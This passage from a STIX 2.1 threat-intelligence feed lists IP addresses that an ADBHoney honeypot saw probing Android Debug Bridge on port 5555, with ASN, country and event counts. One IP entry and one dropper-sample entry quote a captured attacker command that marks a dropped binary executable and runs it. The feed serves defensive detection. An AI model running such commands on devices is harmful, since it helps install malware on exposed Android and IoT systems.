      "created": "2026-03-24T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=82; ports=5555; cc=TH; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=82 | first_seen=2026-03-24T10:00:12.000Z | last_seen=2026-03-24T10:12:03.565Z | ports=5555 | cc=TH | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--be65a070-e079-4b04-bb30-79fc2890fa92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.194.250.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T11:00:03.000Z",
      "valid_until": "2026-04-25T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 82,
          "first_seen": "2026-03-24T10:00:12.000Z",
          "last_seen": "2026-03-24T10:12:03.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TH"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=46606; asn_org=Unified Layer; adb_cmd_hits=0; cmd=\"cd /data/local/tmp && chmod 777 sync.arm7 && ./sync.arm7 &\"\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-24T10:48:58.000Z | last_seen=2026-03-28T02:13:41.750Z | ports=5555 | cc=US | asn=46606 | org=Unified Layer | related_hashes=5006a49c41fd286ef1191522949ede4fdede868c5000af670aa802fd19818757",
      "id": "indicator--ab87ea2d-5dc3-4490-b687-2f6cc9e7b2aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.240.226.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T11:00:03.000Z",
      "valid_until": "2026-04-25T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-24T10:48:58.000Z",
          "last_seen": "2026-03-28T02:13:41.750Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "46606"
          ],
          "org": [
            "Unified Layer"
          ],
          "related_hashes": [
            "5006a49c41fd286ef1191522949ede4fdede868c5000af670aa802fd19818757"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T11:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5006a49c41fd286ef1191522949ede4fdede868c5000af670aa802fd19818757.raw; src_ip=162.240.226.121; src_ips=162.240.226.121; cc=US; last_seen=2026-03-24T10:49:05.264Z; cmds=[cd /data/local/tmp && chmod 777 sync.arm7 && ./sync.arm7 & | echo hello]",
      "id": "indicator--7e5d7484-e17e-4710-aca8-153eafde1992",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '5006a49c41fd286ef1191522949ede4fdede868c5000af670aa802fd19818757']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=81; ports=5555; cc=HK; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=81 | first_seen=2026-03-24T11:02:09.000Z | last_seen=2026-03-24T11:14:42.048Z | ports=5555 | cc=HK | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--9a9c35a7-cefd-409a-a45e-a530e4960b36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.193.40.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:00:02.000Z",
      "valid_until": "2026-04-25T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 81,
          "first_seen": "2026-03-24T11:02:09.000Z",
          "last_seen": "2026-03-24T11:14:42.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-24T11:13:13.000Z | last_seen=2026-03-24T11:25:50.896Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--dc432462-30ae-40f3-89e7-5e9787a58af9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.134.8.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:00:02.000Z",
      "valid_until": "2026-04-25T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-24T11:13:13.000Z",
          "last_seen": "2026-03-24T11:25:50.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T12:01:20.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=81; ports=5555; cc=HK; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=81 | first_seen=2026-03-24T11:02:09.000Z | last_seen=2026-03-24T11:14:42.048Z | ports=5555 | cc=HK | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--9a9c35a7-cefd-409a-a45e-a530e4960b36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.193.40.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:01:20.000Z",
      "valid_until": "2026-04-25T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 81,
          "first_seen": "2026-03-24T11:02:09.000Z",
          "last_seen": "2026-03-24T11:14:42.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T12:01:20.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-24T11:13:13.000Z | last_seen=2026-03-24T11:25:50.896Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--dc432462-30ae-40f3-89e7-5e9787a58af9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.134.8.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T12:01:20.000Z",
      "valid_until": "2026-04-25T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-24T11:13:13.000Z",
          "last_seen": "2026-03-24T11:25:50.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-24T13:55:46.000Z | last_seen=2026-03-24T13:56:49.664Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7854ff29-d238-4bfd-a685-6ce38868a5ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.189.88.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T14:00:02.000Z",
      "valid_until": "2026-04-25T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-24T13:55:46.000Z",
          "last_seen": "2026-03-24T13:56:49.664Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T17:00:35.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-24T16:04:26.000Z | last_seen=2026-03-24T16:06:03.733Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--fda41dd6-887a-456f-a58f-be3eae77623e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:00:35.000Z",
      "valid_until": "2026-04-25T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-24T16:04:26.000Z",
          "last_seen": "2026-03-24T16:06:03.733Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T17:00:35.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-24T16:06:22.000Z | last_seen=2026-03-24T16:16:23.898Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--bab1af5b-3f6d-47c3-b053-1e8da4623cc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:00:35.000Z",
      "valid_until": "2026-04-25T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-24T16:06:22.000Z",
          "last_seen": "2026-03-24T16:16:23.898Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T17:00:35.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-24T16:06:22.000Z | last_seen=2026-03-24T16:16:40.865Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--2654d5f2-1c5c-40e0-af47-7cba998fd0ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:00:35.000Z",
      "valid_until": "2026-04-25T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-24T16:06:22.000Z",
          "last_seen": "2026-03-24T16:16:40.865Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T17:00:35.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=53; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-24T16:24:24.000Z | last_seen=2026-03-24T16:35:10.598Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--9d7d8941-9d0d-4e97-8e7f-8e6f1183b6e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.80.4.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T17:00:35.000Z",
      "valid_until": "2026-04-25T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-24T16:24:24.000Z",
          "last_seen": "2026-03-24T16:35:10.598Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T19:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-24T18:07:40.000Z | last_seen=2026-03-24T18:17:49.995Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--671c448a-720c-43f8-bbb2-1192e7d660cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.30.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:00:05.000Z",
      "valid_until": "2026-04-25T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-24T18:07:40.000Z",
          "last_seen": "2026-03-24T18:17:49.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T19:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FI; asn=24940; asn_org=Hetzner Online GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-24T18:17:52.000Z | last_seen=2026-03-24T18:18:59.690Z | ports=5555 | cc=FI | asn=24940 | org=Hetzner Online GmbH",
      "id": "indicator--49b80d97-981d-4175-923e-79b5c9078121",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.21.92.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:00:05.000Z",
      "valid_until": "2026-04-25T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-24T18:17:52.000Z",
          "last_seen": "2026-03-24T18:18:59.690Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FI"
          ],
          "asn": [
            "24940"
          ],
          "org": [
            "Hetzner Online GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T19:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-24T18:07:40.000Z | last_seen=2026-03-24T18:17:49.995Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--671c448a-720c-43f8-bbb2-1192e7d660cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.30.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:00:14.000Z",
      "valid_until": "2026-04-25T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-24T18:07:40.000Z",
          "last_seen": "2026-03-24T18:17:49.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T19:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FI; asn=24940; asn_org=Hetzner Online GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-24T18:17:52.000Z | last_seen=2026-03-24T18:18:59.690Z | ports=5555 | cc=FI | asn=24940 | org=Hetzner Online GmbH",
      "id": "indicator--49b80d97-981d-4175-923e-79b5c9078121",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.21.92.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T19:00:14.000Z",
      "valid_until": "2026-04-25T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-24T18:17:52.000Z",
          "last_seen": "2026-03-24T18:18:59.690Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FI"
          ],
          "asn": [
            "24940"
          ],
          "org": [
            "Hetzner Online GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=76 | first_seen=2026-03-24T20:16:55.000Z | last_seen=2026-03-25T10:40:00.384Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fc5a1d83-1621-42db-bef9-d0f076d216fb",
      "labels": [
